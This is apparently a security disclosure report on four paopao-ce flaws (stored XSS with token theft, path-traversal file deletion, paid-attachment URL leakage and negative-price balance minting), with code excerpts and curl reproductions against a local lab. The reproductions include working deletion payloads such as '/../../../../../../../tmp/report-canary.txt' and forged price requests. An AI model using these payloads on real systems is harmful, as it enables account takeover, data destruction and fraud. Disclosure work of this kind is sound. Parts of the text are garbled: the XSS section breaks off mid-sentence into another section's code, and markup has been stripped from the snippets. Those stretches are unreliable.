# paopao-ce Vulnerability Report Software: paopao-ce Developer or vendor: rocboss Code repository: https://github.com/rocboss/paopao-ce ## 1. Stored XSS in Topic Highlighting Leads to Account Takeover Brief description: The `#topic` highlighting of a post concatenates the post body into HTML, so an attacker who publishes one public post runs a script in the browser of everyone who views it and takes over their account. Affected versions: v0.1.0 to v0.6.0-alpha.3 Introduced in: [paopao-ce commit d6cd6198](https://github.com/rocboss/paopao-ce/commit/d6cd61989889fec3c91a90b39321b9c509b309f7) Preconditions: The instance allows sign-up, which is the default. The attacker registers an account, and the victim views a page that shows the post. ### Root Cause The post body is stored as submitted, and the front end runs `preparePost` to build topic highlighting: ```ts // web/src/utils/content.ts:46-70 commit 0b35d12b const tagExp = /(#|#)([^#@\s])+?\s+?/g; const atExp = /@([a-zA-Z0-9])+?\s+?/g; content = content .replace(/<[^>]*?>/gi, '') .replace(/(.*?)<\/[^>]*?>/gi, '') .replace(tagExp, (item) => { return ( '' + item.trim() + ' ' ); }) ``` `/<[^>]*?>/gi` removes only fragments that carry a closing angle bracket, so a lone `<` stays in the string. The topic replacement copies the matched text into the body of an `` element, and the trailing `` supplies the missing `>` for the lone `<`. The browser then parses that text as markup, and an event attribute such as `onerror` fires as soon as the element is created. The topic pattern allows neither whitespace nor `#` and `@` inside a match, so the payload cannot contain spaces. After a quoted attribute value the tokenizer moves to the attribute-name state, so the `/` in ` 0 { item.Type = ms.ContentTypeChargeAttachment } postContent := &ms.PostContent{ PostID: post.ID, UserID: req.User.ID, Content: item.Content, Type: item.Type, Sort: item.Sort, } ``` The login token lives under the `PAOPAO_TOKEN` key in `localStorage` (`web/src/store/user.ts:5`), which page scripts can read. A script that runs in the origin of the site can send the token to an attacker host. ### Reproduction Environment The lab uses the official compose file, and `backend` is built from the official Dockerfile. The front-end bundle is built on the host first: ```bash git clone https://github.com/rocboss/paopao-ce.git cd paopao-ce git checkout 0b35d12b sed -i 's|^VITE_HOST=.*|VITE_HOST=""|' web/.env cd web && npm install && npm run build && cd .. docker build -t bitbus/paopao-ce:0.6-alpha --build-arg USE_DIST=yes . docker compose up -d ``` The front-end stage of the official Dockerfile runs on node:19-alpine, while `naive-ui` requires Node 20 or later, so `yarn build` fails there. Building `web/dist` on the host and passing `USE_DIST=yes` skips the in-image build. With `VITE_HOST` empty, the front end sends API requests to the origin that serves the page. The `db` service in `docker-compose.yaml` binds port 3306 on the host. If that port is taken, delete the `ports` mapping of `db`. Once the stack is up, register two accounts, alice and bob: ```bash curl -s -X POST http://127.0.0.1:8008/v1/auth/register \ -H 'Content-Type: application/json' -d '{"username":"alice","password":"pass1234"}' curl -s -X POST http://127.0.0.1:8008/v1/auth/register \ -H 'Content-Type: application/json' -d '{"username":"bob","password":"pass1234"}' ``` Reset the environment before each reproduction: ```bash docker compose down -v && sudo rm -rf custom/data && docker compose up -d ``` ### Reproduction Create the alice account and log in to obtain its token: ```bash curl -s -X POST http://127.0.0.1:8008/v1/auth/register \ -H 'Content-Type: application/json' -d '{"username":"alice","password":"pass1234"}' curl -s -X POST http://127.0.0.1:8008/v1/auth/login \ -H 'Content-Type: application/json' -d '{"username":"alice","password":"pass1234"}' ``` ``` {"code":0,"msg":"success","data":{"id":100058,"username":"alice"}} {"code":0,"msg":"success","data":{"token":"eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1aWQiOjEwMDA1OCwidXNlcm5hbWUiOiJhbGljZSIsImlzcyI6IjQzN2U4MTU4MWRjZjk4ZDkxZDlkNWMzNGYyYzUxMDY2IiwiZXhwIjoxNzk0ODgzNjgwfQ.0fB6Lolljw9oZWi-U7Ahojd4yHWE-geZV_YOSzWfjL8"}} ``` As alice, publish a public post with the payload in the body: ```bash curl -s -X POST http://127.0.0.1:8008/v1/post \ -H 'Content-Type: application/json' \ -H 'Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1aWQiOjEwMDA1OCwidXNlcm5hbWUiOiJhbGljZSIsImlzcyI6IjQzN2U4MTU4MWRjZjk4ZDkxZDlkNWMzNGYyYzUxMDY2IiwiZXhwIjoxNzk0ODgzNjgwfQ.0fB6Lolljw9oZWi-U7Ahojd4yHWE-geZV_YOSzWfjL8' \ -d '{"contents":[{"content":"hello #x 1 { objectKeys := make([]string, 0, mediaContentsSize) for _, cUrl := range mediaContents { objectKeys = append(objectKeys, oss.ObjectKey(cUrl)) } go oss.DeleteObjects(objectKeys) } else if mediaContentsSize == 1 { oss.DeleteObject(oss.ObjectKey(mediaContents[0])) } } ``` `ObjectKey` only replaces the OSS domain inside the string, so a value without the domain comes back unchanged. `DeleteObject` appends the result to `savePath` and passes it to `os.Remove`: ```go // internal/dao/storage/localoss.go:142-143,180-182 commit 0b35d12b func (s *localossServant) DeleteObject(objectKey string) error { return os.Remove(s.savePath + objectKey) } func (s *localossServant) ObjectKey(objectUrl string) string { return strings.Replace(objectUrl, s.domain, "", -1) } ``` `savePath` is `/app/paopao-ce/custom/data/paopao-ce/oss/paopao/`. An object key such as `public/avatar/...` keeps the result below that directory, while a value that starts with `/` and carries a few `../` segments points outside it. `CheckAttachment` only checks whether the value begins with the OSS domain (`internal/dao/security/attachment_check.go:19-24`), so a value without the domain always reaches the error branch, and the delete runs. `CreateComment` and `CreateTweet` call `defer deleteOssObjects(mediaContents)` (`internal/servants/web/priv.go:246-258` and `internal/servants/web/priv.go:512-521`), which gives the same capability. `persistMediaContents` collects `type=8` content into the cleanup list as submitted, and `Check` skips the domain check for `type=8`, so a comment request that is bound to fail still triggers a delete. ### Reproduction Environment Reuse the environment from section 1. Rebuild it and create two accounts, alice and bob: ```bash curl -s -X POST http://127.0.0.1:8008/v1/auth/register \ -H 'Content-Type: application/json' -d '{"username":"alice","password":"pass1234"}' curl -s -X POST http://127.0.0.1:8008/v1/auth/register \ -H 'Content-Type: application/json' -d '{"username":"bob","password":"pass1234"}' ``` ### Reproduction Log in to both accounts to obtain their tokens: ```bash curl -s -X POST http://127.0.0.1:8008/v1/auth/login \ -H 'Content-Type: application/json' -d '{"username":"alice","password":"pass1234"}' curl -s -X POST http://127.0.0.1:8008/v1/auth/login \ -H 'Content-Type: application/json' -d '{"username":"bob","password":"pass1234"}' ``` ``` {"code":0,"msg":"success","data":{"token":"eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1aWQiOjEwMDA1OCwidXNlcm5hbWUiOiJhbGljZSIsImlzcyI6ImNkMGVhMTg3MGFjZjNhZGY4MWQyYjdmMTUyNGJkYWM0IiwiZXhwIjoxNzk0ODgyOTI0fQ.zaVKjmUSMfxmQS-kp1giyThSkB4BlpX2N9Dp2Go2HV8"}} {"code":0,"msg":"success","data":{"token":"eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1aWQiOjEwMDA1OSwidXNlcm5hbWUiOiJib2IiLCJpc3MiOiI1M2MwOTg3MzBiMjg0MzY1MjgyODE3NTA2MDhmY2VkNiIsImV4cCI6MTc5NDg4MjkyNH0.sGJ-MXRCvkX2Pa6ThPNYHuUvAMvsi-QabJ-FaLsLTw8"}} ``` bob uploads an avatar file: ```bash curl -s -X POST http://127.0.0.1:8008/v1/attachment \ -H 'Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1aWQiOjEwMDA1OSwidXNlcm5hbWUiOiJib2IiLCJpc3MiOiI1M2MwOTg3MzBiMjg0MzY1MjgyODE3NTA2MDhmY2VkNiIsImV4cCI6MTc5NDg4MjkyNH0.sGJ-MXRCvkX2Pa6ThPNYHuUvAMvsi-QabJ-FaLsLTw8' \ -F 'file=@victim.png;type=image/png' -F 'type=public/avatar' ``` ``` {"code":0,"msg":"success","data":{"user_id":100059,"file_size":67,"img_width":0,"img_height":0,"type":1,"content":"http://127.0.0.1:8008/oss/paopao/public/avatar/33/83/d2/ba/63a0-4ba1-8f1d-d5e7dc60e340.png"}} ``` bob sets it as his avatar, and the file is written to disk: ```bash curl -s -X POST http://127.0.0.1:8008/v1/user/avatar \ -H 'Content-Type: application/json' -H 'Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1aWQiOjEwMDA1OSwidXNlcm5hbWUiOiJib2IiLCJpc3MiOiI1M2MwOTg3MzBiMjg0MzY1MjgyODE3NTA2MDhmY2VkNiIsImV4cCI6MTc5NDg4MjkyNH0.sGJ-MXRCvkX2Pa6ThPNYHuUvAMvsi-QabJ-FaLsLTw8' \ -d '{"avatar":"http://127.0.0.1:8008/oss/paopao/public/avatar/33/83/d2/ba/63a0-4ba1-8f1d-d5e7dc60e340.png"}' docker compose exec -T backend ls -l /app/paopao-ce/custom/data/paopao-ce/oss/paopao/public/avatar/33/83/d2/ba/63a0-4ba1-8f1d-d5e7dc60e340.png curl -s -o /dev/null -w '%{http_code}\n' http://127.0.0.1:8008/oss/paopao/public/avatar/33/83/d2/ba/63a0-4ba1-8f1d-d5e7dc60e340.png ``` ``` {"code":0,"msg":"success"} -rw-r--r-- 1 root root 67 Nov 16 02:35 /app/paopao-ce/custom/data/paopao-ce/oss/paopao/public/avatar/33/83/d2/ba/63a0-4ba1-8f1d-d5e7dc60e340.png 200 ``` alice submits that object key as her own avatar: ```bash curl -s -X POST http://127.0.0.1:8008/v1/user/avatar \ -H 'Content-Type: application/json' -H 'Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1aWQiOjEwMDA1OCwidXNlcm5hbWUiOiJhbGljZSIsImlzcyI6ImNkMGVhMTg3MGFjZjNhZGY4MWQyYjdmMTUyNGJkYWM0IiwiZXhwIjoxNzk0ODgyOTI0fQ.zaVKjmUSMfxmQS-kp1giyThSkB4BlpX2N9Dp2Go2HV8' \ -d '{"avatar":"public/avatar/33/83/d2/ba/63a0-4ba1-8f1d-d5e7dc60e340.png"}' ``` ``` {"code":10001,"msg":"错误码: 10001, 错误信息: 入参错误"} ``` The endpoint reports an invalid parameter, and bob's file is gone at that moment: ```bash docker compose exec -T backend ls -l /app/paopao-ce/custom/data/paopao-ce/oss/paopao/public/avatar/33/83/d2/ba/63a0-4ba1-8f1d-d5e7dc60e340.png curl -s -o /dev/null -w '%{http_code}\n' http://127.0.0.1:8008/oss/paopao/public/avatar/33/83/d2/ba/63a0-4ba1-8f1d-d5e7dc60e340.png ``` ``` ls: /app/paopao-ce/custom/data/paopao-ce/oss/paopao/public/avatar/33/83/d2/ba/63a0-4ba1-8f1d-d5e7dc60e340.png: No such file or directory 404 ``` Create a file outside the OSS directory and delete it with `../`: ```bash docker compose exec -T backend sh -c 'echo report-canary > /tmp/report-canary.txt' curl -s -X POST http://127.0.0.1:8008/v1/user/avatar \ -H 'Content-Type: application/json' -H 'Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1aWQiOjEwMDA1OCwidXNlcm5hbWUiOiJhbGljZSIsImlzcyI6ImNkMGVhMTg3MGFjZjNhZGY4MWQyYjdmMTUyNGJkYWM0IiwiZXhwIjoxNzk0ODgyOTI0fQ.zaVKjmUSMfxmQS-kp1giyThSkB4BlpX2N9Dp2Go2HV8' \ -d '{"avatar":"/../../../../../../../tmp/report-canary.txt"}' docker compose exec -T backend ls -l /tmp/report-canary.txt ``` ``` {"code":10001,"msg":"错误码: 10001, 错误信息: 入参错误"} ls: /tmp/report-canary.txt: No such file or directory ``` The comment endpoint is another entry point. The request itself fails as expected, and the delete still runs: ```bash docker compose exec -T backend sh -c 'echo comment-canary > /tmp/comment-canary.txt' curl -s -X POST http://127.0.0.1:8008/v1/post/comment \ -H 'Content-Type: application/json' -H 'Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1aWQiOjEwMDA1OCwidXNlcm5hbWUiOiJhbGljZSIsImlzcyI6ImNkMGVhMTg3MGFjZjNhZGY4MWQyYjdmMTUyNGJkYWM0IiwiZXhwIjoxNzk0ODgyOTI0fQ.zaVKjmUSMfxmQS-kp1giyThSkB4BlpX2N9Dp2Go2HV8' \ -d '{"post_id":99999999,"contents":[{"content":"/../../../../../../../tmp/comment-canary.txt","type":8,"sort":1}],"users":[""]}' docker compose exec -T backend ls -l /tmp/comment-canary.txt ``` ``` {"code":10000,"msg":"错误码: 10000, 错误信息: 服务内部错误"} ls: /tmp/comment-canary.txt: No such file or directory ``` ## 3. Paid Attachment Address Leakage Bypasses the Payment Restriction Brief description: The storage address of a paid attachment is delivered with the post body, the payment restriction sits on the download endpoint only, and an unauthenticated visitor who requests that address obtains the file. Affected versions: v0.1.0 to v0.6.0-alpha.3 Introduced in: [paopao-ce commit d6cd6198](https://github.com/rocboss/paopao-ce/commit/d6cd61989889fec3c91a90b39321b9c509b309f7) Preconditions: The instance has a paid attachment (the feature is on by default). ### Root Cause The post detail endpoint returns `contents` as submitted, and for `type=8` the `content` field is the object storage address: ```go // internal/servants/web/loose.go:501-519 commit 0b35d12b post, err := s.Ds.GetPostByID(req.TweetId) // ... postFormated := post.Format() for _, user := range users { postFormated.User = user.Format() } for _, content := range postContents { if content.PostID == post.ID { postFormated.Contents = append(postFormated.Contents, content.Format()) } } ``` ```go // internal/dao/jinzhu/dbr/post_content.go:70-81 commit 0b35d12b func (p *PostContent) Format() *PostContentFormated { if p.Model == nil { return nil } return &PostContentFormated{ ID: p.ID, PostID: p.PostID, Content: p.Content, Type: p.Type, Sort: p.Sort, } } ``` The payment check exists only in `/v1/attachment` (`internal/servants/web/priv.go:202-244`), and a LocalOSS address carries no signature, so whoever has the address can download the file: ```go // internal/dao/storage/localoss.go:164-174 commit 0b35d12b func (s *localossServant) SignURL(objectKey string, expiredInSec int64) (string, error) { if expiredInSec < 0 { return "", fmt.Errorf("invalid expires: %d, expires must bigger than 0", expiredInSec) } expiration := time.Now().Unix() + expiredInSec // Fixed: Just make things simple and simple now so return an veiry simple sign url. // Maybe make another process logic for sign url in future but not now. uri := fmt.Sprintf("%s%s?expired=%d", s.domain, objectKey, expiration) return uri, nil } ``` Nothing validates `expired` on the download path, and the static `/oss/` directory returns the file to the caller. Post visibility protects the body only; once the address is handed out, it is out of control. ### Reproduction Environment Reuse the environment from section 1. Rebuild it and create two accounts, alice and carol: ```bash curl -s -X POST http://127.0.0.1:8008/v1/auth/register \ -H 'Content-Type: application/json' -d '{"username":"alice","password":"pass1234"}' curl -s -X POST http://127.0.0.1:8008/v1/auth/register \ -H 'Content-Type: application/json' -d '{"username":"carol","password":"pass1234"}' ``` ### Reproduction Log in to both accounts: ```bash curl -s -X POST http://127.0.0.1:8008/v1/auth/login \ -H 'Content-Type: application/json' -d '{"username":"alice","password":"pass1234"}' curl -s -X POST http://127.0.0.1:8008/v1/auth/login \ -H 'Content-Type: application/json' -d '{"username":"carol","password":"pass1234"}' ``` ``` {"code":0,"msg":"success","data":{"token":"eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1aWQiOjEwMDA1OCwidXNlcm5hbWUiOiJhbGljZSIsImlzcyI6IjU2M2RmNGQwMDY3MDBhOTg0ZmRiNWJiNjI2ZTAxZmM5IiwiZXhwIjoxNzk0ODgyOTYxfQ.Fr8TNgAtmaq2TmV8ylCjCahKHJLxYhrD1fl3w1ieLSs"}} {"code":0,"msg":"success","data":{"token":"eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1aWQiOjEwMDA1OSwidXNlcm5hbWUiOiJjYXJvbCIsImlzcyI6ImMwY2U3Nzg1MmI4NDY1ZDk4MTZhMGI1ZDg0MzlkMmUxIiwiZXhwIjoxNzk0ODgyOTYxfQ.SK4-xE3HJIH-WMXHE1Y5MXrLNnsR9XeKcmV8YpQEsCw"}} ``` alice creates an archive and uploads it: ```bash printf 'paid attachment secret of alice\n' > secret.txt zip -q paid.zip secret.txt curl -s -X POST http://127.0.0.1:8008/v1/attachment \ -H 'Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1aWQiOjEwMDA1OCwidXNlcm5hbWUiOiJhbGljZSIsImlzcyI6IjU2M2RmNGQwMDY3MDBhOTg0ZmRiNWJiNjI2ZTAxZmM5IiwiZXhwIjoxNzk0ODgyOTYxfQ.Fr8TNgAtmaq2TmV8ylCjCahKHJLxYhrD1fl3w1ieLSs' \ -F 'file=@paid.zip;type=application/zip' -F 'type=attachment' ``` ``` {"code":0,"msg":"success","data":{"user_id":100058,"file_size":150,"img_width":0,"img_height":0,"type":3,"content":"http://127.0.0.1:8008/oss/paopao/attachment/87/22/3b/0a/b8c9-4950-af98-6f7b06376f21.zip"}} ``` alice publishes the attachment at a price of 999: ```bash curl -s -X POST http://127.0.0.1:8008/v1/post \ -H 'Content-Type: application/json' -H 'Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1aWQiOjEwMDA1OCwidXNlcm5hbWUiOiJhbGljZSIsImlzcyI6IjU2M2RmNGQwMDY3MDBhOTg0ZmRiNWJiNjI2ZTAxZmM5IiwiZXhwIjoxNzk0ODgyOTYxfQ.Fr8TNgAtmaq2TmV8ylCjCahKHJLxYhrD1fl3w1ieLSs' \ -d '{"contents":[{"content":"http://127.0.0.1:8008/oss/paopao/attachment/87/22/3b/0a/b8c9-4950-af98-6f7b06376f21.zip","type":8,"sort":1}],"tags":["paid"],"users":[""],"visibility":0,"attachment_price":999}' ``` ``` {"code":0,"msg":"success","data":{"id":1080017989,"user_id":100058,"user":{"id":100058,"nickname":"alice","username":"alice","status":1,"avatar":"https://paopao-demo.vercel.app/avatar/default/emily.png","is_admin":false,"is_friend":false,"is_following":false},"contents":[{"id":180022546,"post_id":1080017989,"content":"http://127.0.0.1:8008/oss/paopao/attachment/87/22/3b/0a/b8c9-4950-af98-6f7b06376f21.zip","type":8,"sort":1}],"comment_count":0,"collection_count":0,"share_count":0,"upvote_count":0,"visibility":90,"is_top":0,"is_essence":0,"is_lock":0,"latest_replied_on":1794796561,"created_on":1794796561,"modified_on":1794796561,"tags":{"paid":1},"attachment_price":999,"ip_loc":"局域网"}} ``` An unauthenticated browser opens the post and the page shows the paid attachment: ![](img/03-paid-post-guest.png) The visitor requests the post detail, and the body carries the attachment address: ```bash curl -s "http://127.0.0.1:8008/v1/post?id=1080017989" ``` ``` {"code":0,"msg":"success","data":{"id":1080017989,"user_id":100058,"user":{"id":100058,"nickname":"alice","username":"alice","status":1,"avatar":"https://paopao-demo.vercel.app/avatar/default/emily.png","is_admin":false,"is_friend":false,"is_following":false},"contents":[{"id":180022546,"post_id":1080017989,"content":"http://127.0.0.1:8008/oss/paopao/attachment/87/22/3b/0a/b8c9-4950-af98-6f7b06376f21.zip","type":8,"sort":1}],"comment_count":0,"collection_count":0,"share_count":0,"upvote_count":0,"visibility":90,"is_top":0,"is_essence":0,"is_lock":0,"latest_replied_on":1794796561,"created_on":1794796561,"modified_on":1794796561,"tags":{"paid":1},"attachment_price":999,"ip_loc":"局域网"}} ``` The visitor downloads that address and obtains the attachment: ```bash curl -s -o loot.zip -w 'http_code=%{http_code} size=%{size_download}\n' \ http://127.0.0.1:8008/oss/paopao/attachment/87/22/3b/0a/b8c9-4950-af98-6f7b06376f21.zip unzip -p loot.zip secret.txt ``` ``` http_code=200 size=150 paid attachment secret of alice ``` The visitor is blocked when calling the download endpoint, and so is the logged-in carol while her balance is zero: ```bash curl -s "http://127.0.0.1:8008/v1/attachment?id=180022546" curl -s "http://127.0.0.1:8008/v1/attachment?id=180022546" -H 'Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1aWQiOjEwMDA1OSwidXNlcm5hbWUiOiJjYXJvbCIsImlzcyI6ImMwY2U3Nzg1MmI4NDY1ZDk4MTZhMGI1ZDg0MzlkMmUxIiwiZXhwIjoxNzk0ODgyOTYxfQ.SK4-xE3HJIH-WMXHE1Y5MXrLNnsR9XeKcmV8YpQEsCw' ``` ``` {"code":10005,"msg":"鉴权失败,Token 错误或丢失"} {"code":30009,"msg":"错误码: 30009, 错误信息: 附件下载失败:账户资金不足"} ``` The purchase table is empty, which shows that the download above skipped the payment flow: ```bash $ docker compose exec -T db mysql -upaopao -ppaopao paopao -e "select count(*) as bills from p_post_attachment_bill" bills 0 ``` ## 4. Negative Attachment Price Mints Account Balance Brief description: The attachment price has no lower bound, so an attacker who sets a negative price and downloads the attachment gains balance instead of spending it. Affected versions: v0.1.0 to v0.6.0-alpha.3 Introduced in: [paopao-ce commit d6cd6198](https://github.com/rocboss/paopao-ce/commit/d6cd61989889fec3c91a90b39321b9c509b309f7) Preconditions: The attacker holds an ordinary account. ### Root Cause The price field is an `int64` with no constraint on the request struct: ```go // internal/model/web/priv.go:52-60 commit 0b35d12b type CreateTweetReq struct { BaseInfo `json:"-" binding:"-"` Contents []*PostContentItem `json:"contents" binding:"required,dive"` Tags []string `json:"tags" binding:"required"` Users []string `json:"users" binding:"required"` Visibility TweetVisibleType `json:"visibility"` AttachmentPrice int64 `json:"attachment_price"` } ``` `CreateTweet` stores the price as submitted, and `buyPostAttachment` only compares the balance with the price: ```go // internal/servants/web/priv.go:885-895 commit 0b35d12b func (s *privSrv) buyPostAttachment(post *ms.Post, user *ms.User) error { if user.Balance < post.AttachmentPrice { return web.ErrInsuffientDownloadMoney } // 执行购买 if err := s.Ds.HandlePostAttachmentBought(post, user); err != nil { logrus.Errorf("Ds.HandlePostAttachmentBought err: %s", err) return xerror.ServerError } return nil } ``` With a negative price, `0 < -1000000` is false and the purchase proceeds. The charge is a subtraction: ```go // internal/dao/jinzhu/wallet.go:98-110 commit 0b35d12b func (s *walletSrv) HandlePostAttachmentBought(post *ms.Post, user *ms.User) error { return s.db.Transaction(func(tx *gorm.DB) error { // 扣除金额 if err := tx.Model(user).Update("balance", gorm.Expr("balance - ?", post.AttachmentPrice)).Error; err != nil { return err } // ... if err := tx.Create(&dbr.WalletStatement{ PostID: post.ID, UserID: user.ID, ChangeAmount: -post.AttachmentPrice, BalanceSnapshot: user.Balance - post.AttachmentPrice, Reason: "购买附件支出", }).Error; err != nil { return err } ``` `balance - (-1000000)` equals `balance + 1000000`, and `change_amount` in the statement turns positive. The balance is kept in a user cache that expires after 120 seconds, and the minted balance can then pay for paid attachments on the site. ### Reproduction Environment Reuse the environment from section 1. Rebuild it and create two accounts, alice and bob: ```bash curl -s -X POST http://127.0.0.1:8008/v1/auth/register \ -H 'Content-Type: application/json' -d '{"username":"alice","password":"pass1234"}' curl -s -X POST http://127.0.0.1:8008/v1/auth/register \ -H 'Content-Type: application/json' -d '{"username":"bob","password":"pass1234"}' ``` ### Reproduction Log in to both accounts: ```bash curl -s -X POST http://127.0.0.1:8008/v1/auth/login \ -H 'Content-Type: application/json' -d '{"username":"alice","password":"pass1234"}' curl -s -X POST http://127.0.0.1:8008/v1/auth/login \ -H 'Content-Type: application/json' -d '{"username":"bob","password":"pass1234"}' ``` ``` {"code":0,"msg":"success","data":{"token":"eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1aWQiOjEwMDA1OCwidXNlcm5hbWUiOiJhbGljZSIsImlzcyI6IjQzN2U4MTU4MWRjZjk4ZDkxZDlkNWMzNGYyYzUxMDY2IiwiZXhwIjoxNzk0ODg1MzczfQ.7o3jmI73roz7q_rC7m0oF61MsIumZcGhedQ9aCknlnw"}} {"code":0,"msg":"success","data":{"token":"eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1aWQiOjEwMDA1OSwidXNlcm5hbWUiOiJib2IiLCJpc3MiOiIyMGI5ODhlZmJhOTE5YWNlY2FmYjI5NDFmMDZjMGZmYSIsImV4cCI6MTc5NDg4NTM3M30.-aT5n4HuQhebAzU2x6iRsyW9lMraukJL4hZkbhR_tX4"}} ``` alice uploads an attachment: ```bash printf 'content of sink\n' > secret.txt zip -q sink.zip secret.txt curl -s -X POST http://127.0.0.1:8008/v1/attachment \ -H 'Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1aWQiOjEwMDA1OCwidXNlcm5hbWUiOiJhbGljZSIsImlzcyI6IjQzN2U4MTU4MWRjZjk4ZDkxZDlkNWMzNGYyYzUxMDY2IiwiZXhwIjoxNzk0ODg1MzczfQ.7o3jmI73roz7q_rC7m0oF61MsIumZcGhedQ9aCknlnw' \ -F 'file=@sink.zip;type=application/zip' -F 'type=attachment' ``` ``` {"code":0,"msg":"success","data":{"user_id":100058,"file_size":134,"img_width":0,"img_height":0,"type":3,"content":"http://127.0.0.1:8008/oss/paopao/attachment/aa/15/9d/3c/bd5a-4096-96fe-4d8ac4174562.zip"}} ``` alice publishes the attachment with a negative price: ```bash curl -s -X POST http://127.0.0.1:8008/v1/post \ -H 'Content-Type: application/json' -H 'Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1aWQiOjEwMDA1OCwidXNlcm5hbWUiOiJhbGljZSIsImlzcyI6IjQzN2U4MTU4MWRjZjk4ZDkxZDlkNWMzNGYyYzUxMDY2IiwiZXhwIjoxNzk0ODg1MzczfQ.7o3jmI73roz7q_rC7m0oF61MsIumZcGhedQ9aCknlnw' \ -d '{"contents":[{"content":"http://127.0.0.1:8008/oss/paopao/attachment/aa/15/9d/3c/bd5a-4096-96fe-4d8ac4174562.zip","type":8,"sort":1}],"tags":["paid"],"users":[""],"visibility":0,"attachment_price":-1000000}' ``` ``` {"code":0,"msg":"success","data":{"id":1080017989,"user_id":100058,"user":{"id":100058,"nickname":"alice","username":"alice","status":1,"avatar":"https://paopao-demo.vercel.app/avatar/default/abigail.png","is_admin":false,"is_friend":false,"is_following":false},"contents":[{"id":180022546,"post_id":1080017989,"content":"http://127.0.0.1:8008/oss/paopao/attachment/aa/15/9d/3c/bd5a-4096-96fe-4d8ac4174562.zip","type":8,"sort":1}],"comment_count":0,"collection_count":0,"share_count":0,"upvote_count":0,"visibility":90,"is_top":0,"is_essence":0,"is_lock":0,"latest_replied_on":1794796694,"created_on":1794796694,"modified_on":1794796694,"tags":{"paid":1},"attachment_price":-1000000,"ip_loc":"局域网"}} ``` bob has a zero balance and downloads the attachment: ```bash curl -s "http://127.0.0.1:8008/v1/attachment?id=180022546" -H 'Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1aWQiOjEwMDA1OSwidXNlcm5hbWUiOiJib2IiLCJpc3MiOiIyMGI5ODhlZmJhOTE5YWNlY2FmYjI5NDFmMDZjMGZmYSIsImV4cCI6MTc5NDg4NTM3M30.-aT5n4HuQhebAzU2x6iRsyW9lMraukJL4hZkbhR_tX4' ``` ``` {"code":0,"msg":"success","data":{"signed_url":"http://127.0.0.1:8008/oss/paopao/attachment/aa/15/9d/3c/bd5a-4096-96fe-4d8ac4174562.zip?expired=1794796754"}} ``` The balance and the statements change accordingly: ```bash $ docker compose exec -T db mysql -upaopao -ppaopao paopao -e "select id,username,balance from p_user where username in ('alice','bob')" id username balance 100058 alice 0 100059 bob 1000000 $ docker compose exec -T db mysql -upaopao -ppaopao paopao -e "select id,post_id,user_id,change_amount,balance_snapshot,reason from p_wallet_statement" id post_id user_id change_amount balance_snapshot reason 10010 1080017989 100059 1000000 1000000 购买附件支出 $ docker compose exec -T db mysql -upaopao -ppaopao paopao -e "select post_id,user_id,paid_amount from p_post_attachment_bill" post_id user_id paid_amount 1080017989 100059 -1000000 ``` The balance stays in the user cache for 120 seconds. alice publishes another attachment at a price of 100: ```bash printf 'content of real\n' > secret.txt zip -q real.zip secret.txt curl -s -X POST http://127.0.0.1:8008/v1/attachment \ -H 'Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1aWQiOjEwMDA1OCwidXNlcm5hbWUiOiJhbGljZSIsImlzcyI6IjQzN2U4MTU4MWRjZjk4ZDkxZDlkNWMzNGYyYzUxMDY2IiwiZXhwIjoxNzk0ODg1MzczfQ.7o3jmI73roz7q_rC7m0oF61MsIumZcGhedQ9aCknlnw' \ -F 'file=@real.zip;type=application/zip' -F 'type=attachment' curl -s -X POST http://127.0.0.1:8008/v1/post \ -H 'Content-Type: application/json' -H 'Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1aWQiOjEwMDA1OCwidXNlcm5hbWUiOiJhbGljZSIsImlzcyI6IjQzN2U4MTU4MWRjZjk4ZDkxZDlkNWMzNGYyYzUxMDY2IiwiZXhwIjoxNzk0ODg1MzczfQ.7o3jmI73roz7q_rC7m0oF61MsIumZcGhedQ9aCknlnw' \ -d '{"contents":[{"content":"http://127.0.0.1:8008/oss/paopao/attachment/cb/19/e7/15/b181-4503-a317-49a64e4b8726.zip","type":8,"sort":1}],"tags":["paid"],"users":[""],"visibility":0,"attachment_price":100}' ``` ``` {"code":0,"msg":"success","data":{"id":1080017990,"user_id":100058,"user":{"id":100058,"nickname":"alice","username":"alice","status":1,"avatar":"https://paopao-demo.vercel.app/avatar/default/abigail.png","is_admin":false,"is_friend":false,"is_following":false},"contents":[{"id":180022547,"post_id":1080017990,"content":"http://127.0.0.1:8008/oss/paopao/attachment/cb/19/e7/15/b181-4503-a317-49a64e4b8726.zip","type":8,"sort":1}],"comment_count":0,"collection_count":0,"share_count":0,"upvote_count":0,"visibility":90,"is_top":0,"is_essence":0,"is_lock":0,"latest_replied_on":1794796816,"created_on":1794796816,"modified_on":1794796816,"tags":{"paid":1},"attachment_price":100,"ip_loc":"局域网"}} ``` Wait 121 seconds for the cache to expire, then bob downloads the attachment priced at 100: ```bash curl -s "http://127.0.0.1:8008/v1/attachment?id=180022547" -H 'Authorization: Bearer 